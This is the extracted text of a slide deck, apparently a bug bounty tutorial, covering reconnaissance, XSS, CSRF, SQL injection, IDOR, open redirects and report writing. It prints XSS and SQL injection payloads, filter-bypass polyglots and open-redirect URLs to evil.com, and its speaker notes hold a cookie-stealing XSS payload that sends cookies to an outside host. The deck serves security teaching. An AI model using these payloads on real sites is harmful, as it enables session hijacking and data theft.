  • 11. Planning It is extremely important to read the program brief thouroughly before starting. • Domains and IPs In-Scope. • In-Scope Vulnerabilities. • Out Of Scope Vulnerabilities. • Other Useful Information. Eg: Twitter bug bounty program (https://hackerone.com/twitter)
  • 12. Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire. Functionalities: • Web Proxy • Web Crawler • Reapeter • Intruder • Web Scanner • Comparer • Extender
  • 13. Reconnaissance • Understand web application logic. • Map the used stack (Tool: Wappalyzer Addon) • Spidering the application (Tool: Burpsuite) • Check Robots.txt file. • Google Hacking. • Bruteforcing Directories (Tool: DirBuster)
  • 14. DNS Recon Check the server’s DNS records using DNSRecon. Interesting things to look for : • DNS Zone transfer (Nslookup –query=axfr example.com) • SPF records (Spoofing Demo : https://emkei.cz/) • MX records (Uber $10,000 US bug to Uranium238) • DNSSEC configuration • Etc.
  • 15. Port Scanning Use Nmap to look for open ports in a web server and corresponding services. • 25 for SMTP • 22 for SSH • 23 Telnet • 21 for FTP • 115 for SFTP • 110 for POPs • 443 HTTPS • 80 HTTP Sudo apt-get install nmap
  • 16. SSL/TLS Web applications use TLS to secure all communications between their servers and web browsers.  Heartbleed  Drown attack  Poodle attack  Use of weak ciphers (RC4)  Expired TLS certificate  Insecure Client-Initiated Renegotiation (Should be disabled)  Etc.
  • 18. Subdomains Bruteforcing  Check for subdomains with private instances. stage.example.com, dev.example.Com, testing.example.com, vpn.example.com  Check for potential subdomains takeover. Support.example.com, help.example.com, forums.example.com Tool : Sublist3r
  • 20. Subdomains Bruteforcing W0rm$ host blog.redbooth.com Non-authoritative answer: og.redbooth.com is an alias for teambox-redirect-to-new-blog.herokuapp.com.
  • 22. Github Leakage Hard coding credentials and pushing the code to GitHub is a common mistake. Look for :  AWS Keys (AWS_SECRET_ACCESS_KEY)  Passwords  Slack tokens (xoxs-token)  Private API Keys  SSH Keys (id_rsa, ---BEGIN RSA PRIVATE KEY---)  Etc.
  • 23.
  • 24. Cross-Site Scripting (XSS) XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Types:  Reflected XSS  Stored XSS  DOM-Based XSS  Cookie-based XSS  Flash-based XSS
  • 25. Cross-Site Scripting (XSS) Exploitation : • Execution of malicious Javascript • Execute Client-Side Exploits • Bypass CSRF protection • Temporary defacements and other nuisances
  • 26. Cross-Site Scripting (XSS) • Reflected XSS Demonstration. • Stored XSS Demonstration. • Exploitation of Stored XSS : Hijacking Session Cookie.
  • 27. Cross-Site Scripting (XSS) Testing for XSS: • '';!--"<img>=&{()} • <img/src=x onerror=alert(0)> • <svg/onload=alert(0)> • <SCRIPT/SRC=//⒕₨?
  • 28. Cross-Site Scripting (XSS) Techniques to bypassing XSS filters: • Use polyglot payload : <input type="text" value=" jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/-- !>x3csVg/<sVg/oNloAd=alert()//>x3e "></input> • XSS in Link inputs: javascript://www.google.com/%0Aalert(1337);//http:// • Bypasses list : https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet • Polyglot payloads : https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
  • 33. Cross-Site Request Forgery Protection bypass techniques : • Remove token parameter. • Leave token value blank. • Alter token value but keep same length. • Try another user token. • Check if token is regenerated upon logout/login. • Analyze token complexity.
  • 34. Clickjacking Attack Clickjacking, also known as a "UI redress attack", is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page.
  • 35. Clickjacking Attack X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN X-Frame-Options: ALLOW-FROM https://example.com/
  • 37. SQL Injection A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data - OWASP
  • 38. SQL Injection Types of SQLi  Error-based SQLi  Blind SQLi  Boolean-based (content-based) Blind SQLi  Time-based SQLi
  • 39. SQL Injection Damn Vulnerable Web Application www.dvwa.co.uk Demonstration
  • 40. -u : Specify the vulnerable target -d : Vulnerable parameter (Injection point) --Cookie: Cookies --data : Parameters in case of a POST request --dbs : List all databases --tables : List all tables or tables of a specific database --columns : List all columns, or columns of a specific table in a DB. --dump : Extract information from the database.
  • 41. SQL Injection Testing for SQLi :  Single Quote : ‘  Boolean expression : 1' or '1' = '1 ' or 1=1 /*  Time expressions : 1' AND (SELECT * FROM (SELECT(SLEEP(5)))x) AND '1'='1 ‘ and sleep(10)/* BENCHMARK(10000000,SHA1(1)) ';waitfor delay '0:0:10'--
  • 42. Insecure Direct Object References Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. (User A) https://www.mybank.com/balance.php?account_id=123 (User B) https://www.mybank.com/balance.php?account_id=124
  • 43. Insecure Direct Object References POST Request: https://hackerone.com/reports/136114
  • 44. Open Redirects Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. https://mail.google.com/?redirect=http://mail.gooogle.com/
  • 45. Open Redirects Bypass methods: • http://www.example.com/login?redirect=//evil.Com • http://www.example.com/login?redirect=evil.Com • http://www.example.com/login?redirect=@evil.Com • http://www.example.com/login?redirect=//evil.Com • http://www.example.com/login?redirect=http://evil.com • http://www.example.com/login?redirect=http:google.com • http://www.example.com/login?redirect=http:///@evil.com//
  • 46. Broken Authentication and Session Management • Insecure login forms (Use of GET method for example) • Login form prone to bruteforcing (Lack of captcha, account lock-out, rate- limit) • Session Cookie not invalidated upon Logout/Password Change or Reset. • Improper Browser Caching (Autocomplete ON, Lack of caching directives in HTTP requests) • Valid Accounts Enumeration (Invalid username: e-mail address is not valid or the specified user was not found.) • Session Fixation (PHPSESSID=5a3ecbee2d4e29eacf783d142f9ebf95) • Weak session complexity
  • 47. Report Redaction • Executive Summary • Vulnerability Description • Affected URL/Parameters • Risk assessment • Steps Of Reproduction • Proof Of Concept • Recommended fix • References
  • 48. Resources Useful links: • http://hackerone.com/hacktivity • https://github.com/ngalongc/bug-bounty-reference/blob/master/README.md
  • 49. Let’s stay in touch E-mail : Hello@yassineaboukir.com Twitter : @Yassineaboukir LinkedIn : /in/yaboukir Blog : http://www.yassineaboukir.com/blog/

Editor's Notes

  1. Sublist3r tool
  2. Dig ns yassineaboukir.com nslookup -type=cname help.yassineaboukir.com
  3. - HTTPOnly attribute. <img src=x onerror='alert(document.location="http://yassineaboukir.com/grab.php?c="+document.cookie)'>